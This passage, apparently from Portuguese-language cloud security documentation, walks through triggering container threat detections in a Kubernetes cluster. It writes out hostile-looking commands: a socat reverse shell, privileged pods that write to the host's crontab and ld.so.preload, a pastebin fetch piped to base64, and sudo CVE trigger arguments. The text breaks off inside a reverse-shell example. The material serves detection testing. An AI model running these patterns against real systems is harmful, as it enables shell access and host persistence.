Para acionar uma deteção Execution: Socat Reverse Shell Detected, tem de ser estabelecida uma ligação de shell inversa do processo pela utilidade socat. Este exemplo usa a imagem mais recente do Ubuntu 24.04. O utilitário socat é instalado, é criado um ouvinte TCP local e, em seguida, é associado ao utilitário socat. O shell inverso criado por socat é sinalizado como suspeito porque permite que um atacante execute cargas de trabalho arbitrárias no sistema.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Crie um contentor e abra o bash para executar comandos:

    • Nó x86:

      tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -it \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash
      
    • Nó ARM:

      tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -it \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash
      
  4. Instale o utilitário socat

      apt update && apt install socat -y
    
  5. Crie um ouvinte através do grupo socat

      (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &)
    
  6. Aguarde que o ouvinte se estabeleça. Demora um pouco menos de 10 segundos.

  7. Associe-se à porta UNIX para estabelecer uma ligação de shell inversa

      socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
    
  8. Isto pode devolver um erro, mas não há problema, desde que estabeleça brevemente uma ligação previamente.

Este procedimento de teste deve criar uma descoberta que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores.Execution: Socat Reverse Shell Detected A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Execução: modificação suspeita do Cron (pré-visualização)

Para acionar uma deteção de modificação suspeita do Cron, modifique o ficheiro /etc/crontab do anfitrião a partir de um contentor. Este exemplo implementa a imagem mais recente do Ubuntu 24.04, montando o sistema de ficheiros raiz do anfitrião no contentor. Em seguida, atualiza o ficheiro crontab.

Este é um detetor de monitorização de ficheiros e tem requisitos específicos da versão do GKE.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Executar um comando para modificar o ficheiro /etc/crontab do anfitrião.

    • Nó x86:

      tag="ktd-test-cron-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • Nó ARM:

      tag="ktd-test-cron-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

      Este procedimento de teste aciona uma descoberta de modificação suspeita do Cron que pode ver no Security Command Center e, se tiver configurado o registo para a Deteção de ameaças de contentores, no Cloud Logging. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center ao nível da organização.

Execução: objeto partilhado OpenSSL suspeito carregado

Para acionar uma deteção de Execution: Suspicious OpenSSL Shared Object Loaded, execute o comando openssl engine com um argumento que seja um ficheiro que termine com a extensão .so. Este exemplo usa a imagem mais recente do Ubuntu 24.04. O utilitário /bin/ls é copiado e mudado para /tmp/openssl. Em seguida, o ficheiro binário com o nome alterado é executado com os argumentos de ficheiro engine e .so falsos. A execução de openssl engine com um ficheiro .so é denunciada como suspeita porque imita o comportamento de um objeto partilhado que está a ser carregado para executar código malicioso.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Executar um binário com capacidade de rede, como curl, e executá-lo com uma variável de ambiente de proxy HTTP não permitida:

    • Nó x86:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"
      
    • Nó ARM:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"
      

Este procedimento de teste deve criar uma descoberta que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores.Execution: Suspicious OpenSSL Shared Object Loaded A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Exfiltração: inicie ferramentas de cópia de ficheiros remotos no contentor

Para acionar uma descoberta, execute uma ferramenta comum de cópia de ficheiros remotos num contentor.Exfiltration: Launch Remote File Copy Tools In Container Este exemplo usa a imagem mais recente do Ubuntu 24.04. O utilitário /bin/ls é copiado e mudado de nome para /tmp/rsync e, em seguida, executado para obter um ficheiro de uma origem remota potencialmente maliciosa. A execução de tal ferramenta com argumentos de obtenção de ficheiros remotos num contentor é sinalizada como suspeita, uma vez que pode indicar uma tentativa de transferir e executar código malicioso ou exfiltrar dados.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Execute uma ferramenta de cópia de ficheiros remota, como rsync, e execute-a:

    • Nó x86:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/rsync; /tmp/rsync"
      
    • Nó ARM:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/rsync; /tmp/rsync"
      

Este procedimento de teste deve criar uma descoberta Exfiltration: Launch Remote File Copy Tools In Container que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Impacto: detetar linhas de comandos maliciosas

Para acionar uma deteção Impact: Detect Malicious Cmdlines (Pré-visualização), a execução de uma linha de comandos com padrões ou argumentos maliciosos conhecidos tem de ser observada num contentor. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Envolve copiar o ficheiro binário /bin/ls e mudar o nome dessa cópia para ipfs. Em seguida, o ficheiro binário renomeado é executado. Este comportamento é denunciado como suspeito porque pode indicar uma tentativa de executar código malicioso ou ignorar os controlos de segurança.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Executar um binário como ipfs:

    • Nó x86:

      tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
      
    • Nó ARM:

      tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
      

Este procedimento de teste cria uma Impact: Detect Malicious Cmdlinesdescoberta que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores. A visualização de descobertas no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Impacto: remover dados em massa do disco

Para acionar uma deteção de Impact: Remove Bulk Data From Disk, coloque um ficheiro binário capaz de eliminar ou substituir dados no seu contentor e execute-o. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Envolve copiar o /bin/lsbinário e mudar o nome dessa cópia para shred (ou uma utilidade semelhante concebida para a eliminação segura de ficheiros). Em seguida, o ficheiro binário com o novo nome é executado. Esta ação é sinalizada como suspeita porque imita o comportamento observado frequentemente quando são feitas tentativas de remover grandes quantidades de dados de um disco num ambiente em contentor.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Introduza um ficheiro ou um binário de eliminação de dados, como shred, e execute-o:

    • Nó x86:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/shred; /tmp/shred"
      
    • Nó ARM:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/shred; /tmp/shred"
      

Este procedimento de teste deve criar uma descoberta que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores.Impact: Remove Bulk Data From Disk A visualização de descobertas no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Impacto: atividade de mineração de criptomoedas suspeita através do protocolo Stratum

Para acionar uma deteção de Impact: Suspicious crypto mining activity using the Stratum Protocol, é necessário executar um ficheiro binário num contentor com argumentos semelhantes aos usados por software de mineração de criptomoedas que comunica através do protocolo Stratum. O exemplo usa a imagem mais recente do Ubuntu 24.04. Copia /bin/ls e muda o nome dessa cópia para um binário simulado (presumivelmente para simular um mineiro de criptomoedas). Este ficheiro binário com novo nome é, em seguida, executado com argumentos que incluem stratum+tcp ou indicadores de protocolo Stratum semelhantes. Esta atividade foi denunciada como suspeita porque imita os padrões de comunicação de rede do software de mineração de criptomoedas em ambientes contentorizados.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Introduza um ficheiro binário de utilidade como curl e execute-o com argumentos que se assemelham aos usados pelo software de mineração de criptomoedas que comunica através do protocolo Stratum:

    • Nó x86:

      tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
      
    • Nó ARM:

      tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
      

Este procedimento de teste deve criar uma deteção Impact: Suspicious crypto mining activity using the Stratum Protocol que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Também pode ver uma descoberta adicional para o comando bash que executa neste teste. Este comportamento é normal e pode ignorar a descoberta adicional.

Script malicioso executado

Para acionar uma deteção de script malicioso executado, pode executar o script no procedimento seguinte no seu contentor.

O procedimento implementa a imagem mais recente do Ubuntu 24.04, copia um script que parece malicioso e, em seguida, executa-o. Para acionar uma deteção, um script tem de parecer malicioso para o detetor.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Execute o seguinte script num novo contentor.

    Este script de shell Bourne inline teve origem num honeypot. No entanto, foi modificado para não executar o ficheiro binário malicioso, pelo que a execução do script não causa atividade maliciosa no seu contentor. O ficheiro binário no URL referenciado pode ter sido removido e a tentativa de seguir o URL resulta num erro 404. Isto é normal. A tentativa de transferir, descodificar e executar um ficheiro binário através de um script inline é o que aciona a deteção.

    • Nó x86:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      
    • Nó ARM:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      

Este procedimento de teste cria uma descoberta de script malicioso executado que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a Deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

URL malicioso observado

Para acionar uma descoberta de URL malicioso observado, execute um ficheiro binário e forneça um URL malicioso como argumento.

O exemplo seguinte implementa uma imagem do Ubuntu 24.04 e executa /bin/curl para aceder a um URL de software malicioso de amostra a partir do serviço Navegação Segura.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Execute curl e indique um URL malicioso como argumento:

    • Nó x86:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
      
    • Nó ARM:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
            --restart=Never \
            --rm=true -i \
            --image marketplace.gcr.io/google/ubuntu2404:latest \
            --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
            {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
            "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
            "value": "arm64" } ]}}' \
            "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
      

Este procedimento de teste aciona uma deteção de URL malicioso observado que pode ver no Security Command Center e, se tiver configurado o registo para a Deteção de ameaças de contentores, no Cloud Logging. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center ao nível da organização.

Persistência: modifique ld.so.preload (pré-visualização)

Para acionar uma deteção de modificação ld.so.preload, modifique o ficheiro /etc/ld.so.preload do anfitrião. Este exemplo implementa a imagem mais recente do Ubuntu 24.04, monta o sistema de ficheiros raiz do anfitrião no contentor e, em seguida, atualiza /etc/ld.so.preload.

Este é um detetor de monitorização de ficheiros e tem requisitos específicos da versão do GKE.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Executar um ficheiro binário que modifica o ficheiro /etc/ld.so.preload do anfitrião.

    • Nó x86:

      tag="ktd-test-ld-preload-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • Nó ARM:

      tag="ktd-test-ld-preload-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

Este procedimento de teste aciona uma descoberta de modificação que pode ver no Security Command Center e, se tiver configurado o registo para a Deteção de ameaças de contentores, no Cloud Logging.ld.so.preload A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center ao nível da organização.

Escalamento de privilégios: abuso de sudo para escalamento de privilégios (CVE-2019-14287)

Para acionar uma Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) deteção, execute o ficheiro binário sudo com o parâmetro -u#-1. Este exemplo copia o binário /bin/ls para imitar o binário sudo e executa-o com o parâmetro especificado.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Inicie um ficheiro binário com o redirecionamento /bin/echo para o DNS público da Google:

    • Nó x86:

      tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
         "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"
      
    • Nó ARM:

      tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
         "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"
      

Este procedimento de teste cria uma Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) descoberta que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center ao nível da organização.

Escalamento de privilégios: execução sem ficheiros em /dev/shm

Para acionar uma descoberta Privilege Escalation: Fileless Execution in /dev/shm, tem de ser executado um processo a partir do sistema de ficheiros na memória /dev/shm. Este exemplo usa a imagem mais recente do Ubuntu 24.04. O utilitário /bin/echo é copiado para /dev/shm/echo. Em seguida, o ficheiro binário com o novo nome é executado. A execução de um ficheiro em /dev/shm é denunciada como suspeita porque imita o comportamento de um objeto que tenta executar na memória para evitar deteções baseadas em ficheiros.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Crie um contentor privilegiado e abra o bash para executar comandos:

    • Nó x86:

      tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -it \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"spec": {"containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]}}' \
         "$tag" -- bash
      
    • Nó ARM:

      tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -it \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash
      
  4. Copie echo para /dev/shm e torne-o executável com chmod

      cp /bin/echo /dev/shm
      chmod 777 /dev/shm/echo
    
  5. Volte a montar o /dev/shm para ativar a execução

      mount -o remount,exec /dev/shm
    
  6. Executar echo a partir de /dev/shm

      /dev/shm/echo "Hello from /dev/shm"
    

Este procedimento de teste deve criar uma descoberta que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores.Privilege Escalation: Fileless Execution in /dev/shm A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Escalamento de privilégios: vulnerabilidade de escalamento de privilégios locais do Polkit (CVE-2021-4034)

Para acionar uma Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) deteção, execute um ficheiro binário pkexec com a variável de ambiente GCONV_PATH definida como um utilizador não raiz. Este exemplo copia o ficheiro binário /bin/ls para imitar o ficheiro binário pkexec e executa-o com o parâmetro especificado como ID do utilizador 1000.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Inicie um ficheiro binário com o redirecionamento /bin/echo para o DNS público da Google:

    • Nó x86:

      tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "securityContext": { "runAsUser": 1000 }}}' \
         "$tag" -- bash -c \
         "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"
      
    • Nó ARM:

      tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "securityContext": { "runAsUser": 1000 }, "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
         "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"
      

Este procedimento de teste cria uma Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) descoberta que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center ao nível da organização.

Escalamento de privilégios: potencial escalamento de privilégios do Sudo (CVE-2021-3156)

Para acionar uma Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) deteção, execute o ficheiro binário sudo como um utilizador não root com o parâmetro -s e um parâmetro que termine com \`. This example copies the/bin/lsbinary to imitate thesudo` e executa-o com os parâmetros especificados.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Inicie um ficheiro binário com o redirecionamento /bin/echo para o DNS público da Google:

    • Nó x86:

      tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "securityContext": { "runAsUser": 1000 }}}' \
         "$tag" -- bash -c \
         'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'
      
    • Nó ARM:

      tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "securityContext": { "runAsUser": 1000 },
         "nodeSelector": { "kubernetes.io/arch":"arm64" }, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
         'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'
      

Este procedimento de teste cria uma Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) descoberta que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center ao nível da organização.

Reverse Shell

Para acionar uma descoberta de shell invertida, inicie um ficheiro binário com o redirecionamento stdin para um soquete ligado a TCP. Este exemplo copia /bin/echo para /tmp/sh, inicia /tmp/sh com o redirecionamento para o DNS público da Google 8.8.8.8 na porta DNS. Não é impresso nada quando executa este exemplo. Para evitar qualquer injeção de código externo através de um ataque de homem no meio (MITM), este exemplo não usa o ficheiro binário /bin/sh.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Inicie um ficheiro binário com o redirecionamento /bin/echo para o DNS público da Google:

    • Nó x86:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
